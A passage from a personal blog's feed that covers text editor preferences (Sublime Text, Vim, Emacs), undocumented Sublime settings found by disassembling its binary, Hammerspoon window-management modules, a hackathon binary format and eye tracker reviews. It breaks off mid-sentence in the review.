&lt;h2 id=&quot;jane-street&quot;&gt;Jane Street&lt;/h2&gt;

&lt;p&gt;Then I went to work at &lt;a href=&quot;https://www.janestreet.com&quot;&gt;Jane Street&lt;/a&gt; for an internship
and ended up migrating back to Spacemacs for a little while. Jane Street has a bunch
of internal Emacs tooling, and even a bunch of custom integration with Spacemacs,
along with much more mature tooling for OCaml than Sublime Text.&lt;/p&gt;

&lt;p&gt;It was mostly pretty good, but far from smooth sailing. Various internal
and external Emacs plugins I used conflicted on their idea of where windows
should go and took over other windows, almost actively replacing whichever
window I cared about most. I encountered tons of bugs, both large and small.
Many of these I ended up patching myself, either with dotfile snippets or &lt;a href=&quot;https://github.com/ocaml/tuareg/pull/99&quot;&gt;pull&lt;/a&gt; &lt;a href=&quot;https://github.com/ocaml/tuareg/pull/103&quot;&gt;requests&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Not only did I encounter over 20 different Emacs, Spacemacs and plugin bugs
(some annoying me quite regularly) during my four months, but there were other
problems. Jane Street’s massive code base made many plugins slow to a crawl.
Synchronous autocompletion with Merlin occasionally hung Emacs. Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;helm-projectile&lt;/code&gt;
was unbearable without caching and slow even with it. Until I disabled a bunch
of hooks saving files took seconds due to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hg&lt;/code&gt; commands running slowly on the large repo.&lt;/p&gt;

&lt;p&gt;Eventually I talked to the one guy using Sublime Text at Jane Street and got
his set of plugins and settings for working on Jane Street’s OCaml with Sublime.
I modied the &lt;a href=&quot;https://github.com/cynddl/sublime-text-merlin&quot;&gt;Sublime Merlin&lt;/a&gt; plugin
to support &lt;a href=&quot;https://github.com/jbrooksuk/Intellitip&quot;&gt;tooltips&lt;/a&gt; that showed the inferred
type of an expression and clickable links to the file of definition and declaration.&lt;/p&gt;

&lt;p&gt;I then started using Sublime Text for sprees of reading code, but not for writing it.
Sublime still had far worse support for building and indenting Jane Street code.
But, this way I could understand things faster by using quick fuzzy search of files,
excellent tabs, smooth scrolling with the mouse, and tooltip links to navigate the codebase.&lt;/p&gt;

&lt;p&gt;Eventually I started using Sublime for editing as well, after I improved indenting,
highlighting and autocompletion slightly. I still kept Emacs open to run the source
control, &lt;a href=&quot;https://github.com/janestreet/iron&quot;&gt;code review&lt;/a&gt; and &lt;a href=&quot;https://github.com/janestreet/jenga&quot;&gt;Jenga build&lt;/a&gt; plugins,
but I set up elisp so that it navigated to compile errors in both Sublime Text and Emacs.
This offered an excellent compromise between nice plugins and a good editor that I was happy with.&lt;/p&gt;

&lt;p&gt;Despite all the additional functionality and improvements I made to Sublime, I actually
think I spent less time on getting Sublime to work than on fixing, debugging and setting
up Spacemacs while I was there.&lt;/p&gt;

&lt;h2 id=&quot;closing-thoughts&quot;&gt;Closing Thoughts&lt;/h2&gt;

&lt;p&gt;Overall, I’m still very satisfied with Sublime Text. I think text editors could
go a lot further than they are now, but so could most software. I feel very
productive, I never fight my editor, and it works for any language I throw at it.&lt;/p&gt;

&lt;p&gt;I would love it if Sublime was open source, or if there was an open source editor
that was as good. However, I realize that many of the reasons I love Sublime
wouldn’t be possible without it making money. The reason the creator(s) can pour
so much effort and care into every detail is that Jon (and now also Will) can work
on it full time for years. No other text editor has a custom cross-platform UI toolkit,
a custom parallel regex engine, and incredibly fast indexing, search and editing engines.&lt;/p&gt;

&lt;p&gt;I also realize that in some respects Sublime’s rather limited plugin API is an advantage.
Unlike Emacs/Vim/Atom I rarely have to worry about plugins slowing down my experience
by accidentally doing something synchronously on the entire file, since the API almost enforces
asynchronous design. No plugin can break core functionality or slow startup times.
Plugins are forced to work only in ways where it is difficult to conflict with each other
since two plugins can’t implement hacks in the internals that interfere with each other.
When Emacs plugins implement “helpful” hacks to basic functionality that conflict and break
things, my approach is often to disable them since I rarely want these hacks anyway.&lt;/p&gt;

&lt;p&gt;Sublime can also get faster and better every release because they don’t have to worry as much
about piles of hacks restricting how they can change their internals. Like how Atom constantly
has to &lt;a href=&quot;http://blog.atom.io/2014/07/02/moving-atom-to-react.html&quot;&gt;deprecate old APIs&lt;/a&gt; whenever they restructure to improve performance.&lt;/p&gt;

&lt;p&gt;Also, the recent dev builds have patched what I think was the number one
hole in Sublime’s plugin API: tooltips and inline annotations. Now plugins can
implement &lt;a href=&quot;https://github.com/facelessuser/ColorHelper&quot;&gt;fancy custom tooltips&lt;/a&gt;
with links and colours and formatting using a subset of HTML. This same HTML
subset can also be used to inject “phantoms”: rich text annotations of code
for things like previewing LaTeX formulae, colours, types, lints and errors.
This should allow most of the useful plugins that previously were only
possible in Atom/Emacs to be ported to Sublime, but since it is implemented
centrally instead of a bunch of different ways it will work seamlessly and
consistently.&lt;/p&gt;

&lt;p&gt;I’m optimistic for the future of Sublime Text. I’d love to see a new editor that’s open source
and as fast, nice and powerful as Sublime, but I don’t expect to since it would be a ton of work.
Visual Studio Code looks pretty awesome though, if I was writing Javascript I’d consider it for the
excellent tooling integration, but for less common languages it doesn’t look any better than Sublime.&lt;/p&gt;

&lt;p&gt;I wrote this post because I often find myself justifying my use of Sublime Text to
Vim and Emacs users. They often look at Sublime users as people who just haven’t put
in the effort to learn a &lt;em&gt;real power user’s text editor&lt;/em&gt;. They’re confused when they learn
that I have tried Vim and Emacs extensively and still choose to use what they see as
a basic newbie editor. I hope this post explains why Sublime is an excellent choice
for a highly customizable power user’s text editor.&lt;/p&gt;

&lt;h2 id=&quot;edit-faq&quot;&gt;Edit: FAQ&lt;/h2&gt;

&lt;p&gt;Some responses to questions I’ve seen raised after posting this:&lt;/p&gt;

&lt;h3 id=&quot;you-just-havent-learned-vim-a-real-vim-user-could-do-long-distance-text-selection-faster&quot;&gt;You just haven’t learned Vim. A real Vim user could do long distance text selection faster.&lt;/h3&gt;

&lt;p&gt;I think I know vim quite well, I’ve been using vim bindings for 5 years now across varying editors. I know almost all Vim bindings.&lt;/p&gt;

&lt;p&gt;How about a test? Suppose my cursor is on line 198 of &lt;a href=&quot;https://github.com/trishume/syntect/blob/ef3b99b06b72e89b7a0036969897751034422f5a/src/parsing/parser.rs&quot;&gt;this file&lt;/a&gt; I want to copy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;match_pat.has_captures &amp;amp;&amp;amp; cur_level.captures.is_some()&lt;/code&gt; on line 172. If you give me an efficient sequence of vim bindings for that movement I can tell you if I know what everything does without looking it up.&lt;/p&gt;

&lt;p&gt;I think a more apt criticism would be that I think too slowly to use Vim. I can figure out that “26j4wy10e” does what I want, and at my normal english characters/second typing speed that is faster than doing the selection with my mouse. However, when I actually try and do that without figuring it out ahead of time I take longer to read, count and figure out the right numbers and actions, then type the individual characters (which due to muscle memory for english I’m slower at than typing english). I end up being slower than the mouse, and with a higher mental load.&lt;/p&gt;

&lt;p&gt;You could say I just need to “git gud” and practice, but if practicing for hours a day for 5 years doesn’t get me to the point that I’m better than the mouse, I think it’s time to say that maybe it isn’t a lack of practice. More likely it’s an innate skill difference, processing speed, counting, typing coordination, or a combination of the above. I do actually use Vim bindings a lot of the time, I know them well, and I know when it is faster for me to use the mouse.&lt;/p&gt;

&lt;p&gt;That all presumes that there exists a substantial number of people who are faster in practice at long distance text selection with vim shortcuts than I am with the mouse. I have yet to see someone where I can confidently say that is the case, and I’ve watched a reasonable number of vim users. Some are within the margin of error where I would have to do a timed race with a stopwatch, but I haven’t seen any that are clearly meaningfully faster. I guess everyone I’ve seen using vim (including many 5+ year users) could be a “vim n00b”, but that sounds a bit “no true scotsman”-like.&lt;/p&gt;

&lt;h3 id=&quot;if-you-used-stock-emacs-without-all-the-bloat-it-would-be-faster-and-stable&quot;&gt;If you used stock Emacs without all the bloat it would be faster and stable.&lt;/h3&gt;

&lt;p&gt;Yes it would have been faster and more stable, however then I would just complain about the lack of a bunch of features from Sublime that I like, and the terrible keybindings.&lt;/p&gt;

&lt;p&gt;I also have minor RSI issues, I’m not keen to turn them into major RSI issues by using Emacs bindings.&lt;/p&gt;

&lt;h3 id=&quot;you-can-only-switch-directly-to-a-few-tabs-buffer-switching-is-logarithmic-time-for-many-buffers&quot;&gt;You can only switch directly to a few tabs, buffer switching is logarithmic time for many buffers.&lt;/h3&gt;

&lt;p&gt;Yes, but tabs are more like a cache. Like I mention, when it isn’t easy to hit the numbered shortcut to
jump directly to a tab I use “Goto Anything” to narrow directly to the file, which takes the same amount
of time buffer switching would.&lt;/p&gt;

&lt;p&gt;Tabs are just an additional speedup in the case that I’m switching to one of my ~6 most recently/frequently
used files. I’d say it’s the case that over 95% of my switches are to one of my tabs, but only at most 50%
of my switches are to my most recently used other file, there’s gains to be had over Emacs in that extra 45%
of switches that become fast.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Disassembling Sublime Text</title>
   <link href="https://thume.ca/2016/12/03/disassembling-sublime-text/"/>
   <updated>2016-12-03T00:00:00+00:00</updated>
   <id>https://thume.ca/2016/12/03/disassembling-sublime-text</id>
   <content type="html">
&lt;p&gt;This afternoon I spent some time with the free trial of the
&lt;a href=&quot;https://www.hopperapp.com/&quot;&gt;Hopper Disassembler&lt;/a&gt; looking through the binary of
Sublime Text 3. I found some interesting things and some undocumented settings.&lt;/p&gt;

&lt;h2 id=&quot;undocumented-settings&quot;&gt;Undocumented Settings&lt;/h2&gt;

&lt;p&gt;The most potentially useful and interesting thing I found were some undocumented
settings for Sublime Text. A couple of them could even be useful to some people:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw_shadows&lt;/code&gt;: A boolean that can disable the shadow effect when any line is longer
that the window. I personally like effect but if you want a cleaner look or your window
is only slightly wider than your text and the shadow effect kicks in early, you can use
this setting.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;indent_guide_options&lt;/code&gt;:
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;solid&lt;/code&gt;: This as an undocumented option that makes indent guides solid instead of dashed.
Add this in addition to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw_*&lt;/code&gt; option.&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw_active_single&lt;/code&gt;: Like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw_active&lt;/code&gt; but only draws the innermost indent guide your
cursor is in instead of guides for every indent level down to it.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw_debug&lt;/code&gt;: A boolean that if true enables a special debugging text renderer. It seems to
turn sections of the document either blue or red, and within the sections it turns tokens
alternating light and dark shades of those colours. Note you have to set the setting to false
to turn it off, not just delete it. These change sometimes when scrolling and editing but I
can’t figure out when and why.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wide_caret&lt;/code&gt;: This just acts like adding to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;caret_extra_width&lt;/code&gt;, probably an old setting, not useful.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There’s also the undocumented command line flags:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--multiinstance&lt;/code&gt;: Starts a new instance of Sublime even if one is already running.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--debug&lt;/code&gt;: Prints debug output to stdout, I think this is just the output that goes in the built-in console.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I discovered these settings by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt; on my &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Sublime Text.app/Contents/MacOS/Sublime Text&lt;/code&gt;
binary and looking near the things I knew where config options for things that looked like config
options, then trying them out.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/sublimesecrets/debug_render.png&quot; alt=&quot;Debug rendering mode&quot; /&gt;
&lt;img src=&quot;/assets/postassets/sublimesecrets/configs.png&quot; alt=&quot;Debug rendering mode&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;libraries-used&quot;&gt;Libraries Used&lt;/h2&gt;

&lt;p&gt;The Sublime Text release binaries don’t have symbol names stripped out, probably for debugging
reasons, and for that I’m very grateful because it’s really cool. The assembly is still largely
indecipherable to me, but there are some cool things I can find out.&lt;/p&gt;

&lt;p&gt;From the function names I can also see some of the libraries used in the making of Sublime Text.
Here’s a partial list:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Skia: It’s been mentioned online this is used for rendering everything&lt;/li&gt;
  &lt;li&gt;Google densehash: Faster hash map, used everywhere&lt;/li&gt;
  &lt;li&gt;Oniguruma: Fallback for fancy regexes the custom engine can’t handle&lt;/li&gt;
  &lt;li&gt;Boost&lt;/li&gt;
  &lt;li&gt;Google breakpad&lt;/li&gt;
  &lt;li&gt;CryptoPP/Crypto++ (in old versions, now replaced with libtomcrypt)&lt;/li&gt;
  &lt;li&gt;leveldb: Used to store symbol indexes I think&lt;/li&gt;
  &lt;li&gt;snappy: Fast compression, not sure what it is used for&lt;/li&gt;
  &lt;li&gt;Hunspell&lt;/li&gt;
  &lt;li&gt;YAML (apparently actually yaml-cpp)&lt;/li&gt;
  &lt;li&gt;lzma&lt;/li&gt;
  &lt;li&gt;Hunzip: Probably what is used to unzip the zipped up package format&lt;/li&gt;
  &lt;li&gt;libtomcrypt&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;internal-names&quot;&gt;Internal names&lt;/h2&gt;

&lt;p&gt;I can also see some general architecture and what things are named. This is just cool trivia.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sregex&lt;/code&gt;: The custom super fast regex engine. I think the special feature is that it can search for many different regexes on one piece of text at the same time. Because &lt;a href=&quot;http://github.com/trishume/syntect&quot;&gt;when I wrote a sublime-syntax highighter&lt;/a&gt; that’s what I would have wanted.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;skyline&lt;/code&gt;: The name for Sublime’s widgets framework. The centerpiece is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;skyline_text_control&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;px&lt;/code&gt;: The windowing and platform integration framework used for event handling, file management and other OS integration across Windows, Linux and OSX.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TokenStorage&lt;/code&gt;: The class that stores and renders highlighted tokens.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;God how I wish any of these were open source. Each of these would be useful in
many things other than text editors. There’s no app I know of that has its own
custom-rendered UI framework that manages to be as fast and smoothly
integrated with the OS as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;skyline&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;px&lt;/code&gt; are. The custom regex engine
would be a handy library as well. I do understand that these goodies might not
have existed in the first place if Jon couldn’t make money off of Sublime Text
though, so I’m grateful that I at least have one beautiful and fast cross-
platform app.&lt;/p&gt;

&lt;h2 id=&quot;more&quot;&gt;More&lt;/h2&gt;

&lt;p&gt;I also tried to figure out how some parts of the editor work and why they are so fast,
but I couldn’t figure out much from the assembly. All the key functions have hundreds of
basic blocks and are enormous with everything inlined. If I spent an entire day I might be
able to reverse engineer one function, but that wouldn’t get me very far.&lt;/p&gt;

&lt;p&gt;If there’s anything you’re interested in about Sublime Text’s internals, leave a
comment and I might take a look. Especially if it’s a tiny behaviour improvement that
isn’t accessible to the plugin API but might be possible to patch in the binary,
with a debugger, or with something like &lt;a href=&quot;http://www.frida.re/&quot;&gt;Frida&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;edit-updates&quot;&gt;Edit: Updates&lt;/h2&gt;

&lt;p&gt;After this article was posted on &lt;a href=&quot;https://news.ycombinator.com/item?id=13100560&quot;&gt;Hacker News&lt;/a&gt;
and cross-posted to &lt;a href=&quot;https://forum.sublimetext.com/t/disassembling-sublime-text/24824&quot;&gt;the Sublime forum&lt;/a&gt;,
@wbond, the Package Control maintainer and new Sublime developer replied with some corrections and new info.
I’ve updated the library listing above with the new info.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Advanced Hackery With The Hammerspoon Window Manager</title>
   <link href="https://thume.ca/2016/07/16/advanced-hackery-with-the-hammerspoon-window-manager/"/>
   <updated>2016-07-16T00:00:00+00:00</updated>
   <id>https://thume.ca/2016/07/16/advanced-hackery-with-the-hammerspoon-window-manager</id>
   <content type="html">
&lt;p&gt;Along with &lt;a href=&quot;https://kapeli.com/dash&quot;&gt;Dash&lt;/a&gt;, &lt;a href=&quot;https://www.sketchapp.com/&quot;&gt;Sketch&lt;/a&gt; and &lt;a href=&quot;http://papersapp.com/&quot;&gt;Papers&lt;/a&gt;, one of the main reasons I haven’t yet switched to Linux is &lt;a href=&quot;http://www.hammerspoon.org/&quot;&gt;Hammerspoon&lt;/a&gt;. Hammerspoon gives me most of the power that a fancy Linux tiling window manager and configurable desktop would give me, without having to switch operating systems. It’s fully configurable with Lua, has &lt;a href=&quot;http://www.hammerspoon.org/docs/index.html&quot;&gt;tons of built in modules&lt;/a&gt; and it is simple to write your own modules. I think of it more as a general-purpose tool for modifying OSX’s user interface than just a window manager. This post explores some of the ways I’ve used Hammerspoon to greatly enhance my general OSX-using experience.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/hammerspoon/hammerspoon.png&quot; alt=&quot;Hints Screenshot&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;window-hints&quot;&gt;Window Hints&lt;/h2&gt;

&lt;p&gt;The first Hammerspoon module I wrote was a port of &lt;a href=&quot;/howto/2012/11/19/using-slate/#switching-windows&quot;&gt;Slate’s window hints&lt;/a&gt;, which if you’ve ever used Vimium or Vimperator, are like link hints for windows. They allow you to switch to any window with only two keystrokes: One shortcut to bring up icons and letters for every window, and then simply hitting the key corresponding to the window you want.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/trishume/mjolnir.th.hints&quot;&gt;The module&lt;/a&gt; was written mostly in a single evening as a native Lua module (originally for Mjolnir, the precursor to Hammerspoon).
It didn’t take much time, and is very enjoyable to use, and because the module was added to the core Hammerspoon distribution, lots of other people can also benefit from it.&lt;/p&gt;

&lt;h2 id=&quot;window-tabs&quot;&gt;Window Tabs&lt;/h2&gt;

&lt;p&gt;The second Hammerspoon module I wrote was one that allows you to add tabs to any OSX Application. The tabs sit in the top right of the title bar and allow you to easily switch between windows of an app with keyboard shortcuts (e.g &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ctrl+tab number&lt;/code&gt;) and later by clicking. This was originally motivated by my switching to &lt;a href=&quot;http://spacemacs.org/&quot;&gt;Spacemacs&lt;/a&gt; and it not having a good solution for working on many different projects like Vim tabs. This module allowed me to wrangle Emacs windows to more easily switch between different projects. I later repurposed it to switch between Sublime Windows for the same reason when I switched back to Sublime Text.&lt;/p&gt;

&lt;p&gt;This module was very different to write since it was pure Lua. It uses Hammerspoon’s various powerful built-in modules including the drawing module, the app watcher module, and the window listener module.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/hammerspoon/tabs.png&quot; alt=&quot;Tabs Screenshot&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;mouth-noises&quot;&gt;Mouth Noises&lt;/h2&gt;

&lt;p&gt;Most recently I &lt;a href=&quot;https://github.com/Hammerspoon/hammerspoon/pull/936&quot;&gt;contributed&lt;/a&gt; a &lt;a href=&quot;http://github.com/trishume/thume.popclick&quot;&gt;module for recognizing mouth noises&lt;/a&gt;. It is based off some low-latency high-accuracy mouth noise recognizers I wrote during my research term at the UWaterloo HCI lab. Personally I use this module to scroll pages hands-free while lying down on the couch with my laptop. Previously I had to contort my hand into a cramped position on my chest to scroll with the trackpad while lying on my back. It’s one of my zanier uses of Hammerspoon but it is nice to use nonetheless. Just goes to show the variety of user interface scripting tasks Hammerspoon can do.&lt;/p&gt;

&lt;h2 id=&quot;custom-window-management-hotkeys&quot;&gt;Custom Window Management Hotkeys&lt;/h2&gt;

&lt;p&gt;I love being able to customize my window management shortcuts perfectly for the kind of things I normally do. I have a custom modifier key on &lt;a href=&quot;/2014/09/08/creating-a-keyboard-1-hardware/&quot;&gt;my keyboard&lt;/a&gt; that is dedicated to window management I call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hyper&lt;/code&gt;. Pressing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hyper&lt;/code&gt; in combination with the left home row jumps directly between my most frequently used apps (Chrome, Sublime, iTerm2, Mail, Path Finder) and a pair of keys that mark a certain window and focus it, for all the other apps I use occasionally like PDF readers when writing LaTeX. Pressing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hyper&lt;/code&gt; with the right home row moves a window between full screen, halves of the monitor, and between screens. Various other hyper shortcuts do things like toggling mouth noise recognition. I also have a hotkey I can hit when I plug in my external monitor that arranges all my apps between monitors in the way I like them instantly.&lt;/p&gt;

&lt;h2 id=&quot;miscellaneous-hackery&quot;&gt;Miscellaneous Hackery&lt;/h2&gt;

&lt;p&gt;I’ve used Hammerspoon for some one-off tasks, especially when I want to bind things to global keyboard shortcuts. An example of this is a weekend project I did to make a mouse controlled by head movements detected by an accelerometer on a microphone headset. I used Hammerspoon to send serial commands to the microcontroller when I pressed a shortcut to toggle the mousing on and off.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/hammerspoon/lookmouse.jpg&quot; alt=&quot;Lookmouse&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I hope this has given you some ideas about how you can use Hammerspoon to make your computing experience more pleasant. Check out &lt;a href=&quot;https://github.com/trishume/dotfiles/blob/master/hammerspoon/hammerspoon.symlink/init.lua&quot;&gt;my Hammerspoon config&lt;/a&gt; to see how I configure everything and tie it all together. For more inspiration check out the amazing things &lt;a href=&quot;https://github.com/asmagill/hammerspoon-config&quot;&gt;asmagill does in his config&lt;/a&gt;. He has experimental modules for all sorts of things like drawing calendars, custom app menus, fonts and speech control.&lt;/p&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Simple Binary Formats and Terrible Hacks</title>
   <link href="https://thume.ca/2016/04/03/simple-binary-formats-and-terrible-hacks/"/>
   <updated>2016-04-03T00:00:00+00:00</updated>
   <id>https://thume.ca/2016/04/03/simple-binary-formats-and-terrible-hacks</id>
   <content type="html">
&lt;p&gt;Last weekend me and my friend &lt;a href=&quot;http://mlht.ca/&quot;&gt;Marc&lt;/a&gt; went to &lt;a href=&quot;https://medium.com/@tau/terriblehack3-1164c2541c3f&quot;&gt;TerribleHack III&lt;/a&gt; and made &lt;a href=&quot;http://dayder.thume.ca/&quot;&gt;Dayder&lt;/a&gt;, a neat little website for finding &lt;a href=&quot;http://tylervigen.com/spurious-correlations&quot;&gt;spurious correlations&lt;/a&gt; in lots of time series data sets. I did the ingestion of our initial data set of causes of death over time, as well as the JS/HTML front end. Marc made the correlation finding web server in Rust and also did the final prettying up of the CSS. I’m quite proud of how well it turned out given that it was made in 12 hours.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/binary/dayder.png&quot; alt=&quot;Dayder&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The coolest part of Dayder is how fast it is. All the DOM and JS Canvas rendering code is custom built for rendering hundreds of graphs in milliseconds. Marc and I also designed a custom simple binary format for storing time series data in a compact way. We called the format &lt;a href=&quot;https://github.com/trishume/dayder/blob/master/format.md&quot;&gt;btsf&lt;/a&gt; and it is a key reason why our app can quickly send tons of time series data sets to the client as well as store them on the server in a compact way. All 6591 time series fit in less than 1 megabyte of data, allowing them all to be sent to the client for instantaneous filtering.&lt;/p&gt;

&lt;p&gt;The following week I gave a short talk at a UWaterloo CS Club event about simple binary formats and how they can make your project faster, easier and cooler:&lt;/p&gt;

&lt;script async=&quot;&quot; class=&quot;speakerdeck-embed&quot; data-id=&quot;56dcaeddea6f466bb08d8ee28694f952&quot; data-ratio=&quot;1.77777777777778&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;Now that I’ve used simple binary formats for both &lt;a href=&quot;http://ratewith.science/&quot;&gt;Rate With Science&lt;/a&gt; and Dayder, I’m a big fan. Although outside a hackathon context where I have time to learn libraries and where I don’t have the incentive to design new formats for fun, I think I would probably go with something established like &lt;a href=&quot;https://capnproto.org/&quot;&gt;Cap’n Proto&lt;/a&gt; or &lt;a href=&quot;https://thrift.apache.org/&quot;&gt;Thrift&lt;/a&gt; instead of a custom format.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Eye Tracker Reviews: Pupil Labs, Tobii, Eye Tribe, XLabs</title>
   <link href="https://thume.ca/2016/03/24/eye-tracker-reviews-pupil-labs-tobii-eyex-eye-tribe-tobii-x2-30/"/>
   <updated>2016-03-24T00:00:00+00:00</updated>
   <id>https://thume.ca/2016/03/24/eye-tracker-reviews-pupil-labs-tobii-eyex-eye-tribe-tobii-x2-30</id>
   <content type="html">
&lt;p&gt;During my time at the &lt;a href=&quot;http://hci.cs.uwaterloo.ca/&quot;&gt;UWaterloo HCI Lab&lt;/a&gt; I’ve had the opportunity to try out 5 different eye trackers and compare them.
These eye trackers span the price range from free to $10,000+ and use a variety of different tracking methods. These trackers are also not always direct
alternatives, they are often meant for very different scenarios.&lt;/p&gt;

&lt;p&gt;Disclaimer: These are the results that I got for myself using these eye trackers. Eye tracking performance varies wildly between people so it is likely that
for some of these trackers I got atypically bad or good performance. When my results don’t square with claimed performance or performance I’ve seen in videos
I’ll try and note that.&lt;/p&gt;

&lt;p&gt;Also, I have not done exact degrees accuracy tests on any of these trackers. I may however give figures in degrees, here’s what I mean when I mean by these:
Whenever I test these out, the tracked point or the filtered point (if there is jitter) is with high probability within a given distance of my real gaze point.
I then use trigenometry to work out the degree angle corresponding to that distance, a handy rule of thumb is that each degree corresponds to about a centimeter of
distance at a typical screen-head distance ( &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tan(1.0*(pi/180))*60 = 1.04&lt;/code&gt; ).&lt;/p&gt;

&lt;p&gt;With that out of the way lets move on to the trackers:&lt;/p&gt;

&lt;h1 id=&quot;pupil-labs-headset-my-favourite-research-eye-tracker&quot;&gt;Pupil Labs Headset: My favourite research eye tracker&lt;/h1&gt;

&lt;p&gt;My lab has a &lt;a href=&quot;https://pupil-labs.com/store/&quot;&gt;Pupil Labs&lt;/a&gt; eye tracking headset with a high speed world camera and 120hz binocular eye cameras.
It’s well suited for a variety of research, and is the only eye tracker with amazing open source software.&lt;/p&gt;

&lt;h4 id=&quot;pros&quot;&gt;Pros:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Good tracking: very high precision (i.e low jitter) and fairly high accuracy immediately after calibration (~1.5 degrees)&lt;/li&gt;
  &lt;li&gt;Allows free head motion because the eye tracker is fixed to your head.&lt;/li&gt;
  &lt;li&gt;Robustly tracks markers in order to map gaze onto surfaces like screens.&lt;/li&gt;
  &lt;li&gt;The open source software is amazing. Really good interface, easy to use, tons of features, and unlike &lt;em&gt;every other eye tracker&lt;/em&gt; you can add any features you need yourself.&lt;/li&gt;
  &lt;li&gt;You don’t need a computer screen and you can do eye tracking experiments in other environments.&lt;/li&gt;
  &lt;li&gt;Good price for a research eye tracker (on the order of $1000), especially with academic discount.&lt;/li&gt;
  &lt;li&gt;Tolerates other IR devices. Since the tracking doesn’t use glints you can use other IR lights like an IR head tracker at the same time. It is the only eye tracker like this.&lt;/li&gt;
  &lt;li&gt;Fully cross platform: Windows, OSX and Linux.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;cons&quot;&gt;Cons:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;The headset can easily be jostled if you move your head too much or crinkle your face, and when that happens accuracy drops proportional to the change in position.
The technique I’m researching requires head motion and I typically see accuracy of ~3 degrees after some head movements slightly move the headset.&lt;/li&gt;
  &lt;li&gt;Doesn’t fit with other glasses very well, and if it does fit the reflections make it worthless.&lt;/li&gt;
  &lt;li&gt;You have to wear something on your head. It is fine at first but after an hour or two can start to feel quite uncomfortable.&lt;/li&gt;
  &lt;li&gt;You have to recalibrate every single time you put it on, unlike some remote eye trackers.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;watch-out-for&quot;&gt;Watch out for:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Eye cameras can’t adjust to get a good view of eyes very near the center of the face, I had a participant like this and it still worked but lost tracking at larger gaze angles.&lt;/li&gt;
  &lt;li&gt;If your ears move when your face moves, it will move the eye tracker out of calibration almost immediately. I had a participant like this.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;tobii-eyex--steelseries-sentry-best-consumer-eye-tracker&quot;&gt;Tobii EyeX / Steelseries Sentry: Best consumer eye tracker&lt;/h1&gt;

&lt;p&gt;The &lt;a href=&quot;http://www.tobii.com/xperience/&quot;&gt;Tobii EyeX&lt;/a&gt; (or the identical Steelseries Sentry) is an incredible consumer eye tracker. One downside is it only works on Windows, but I’ve gotten around this by running
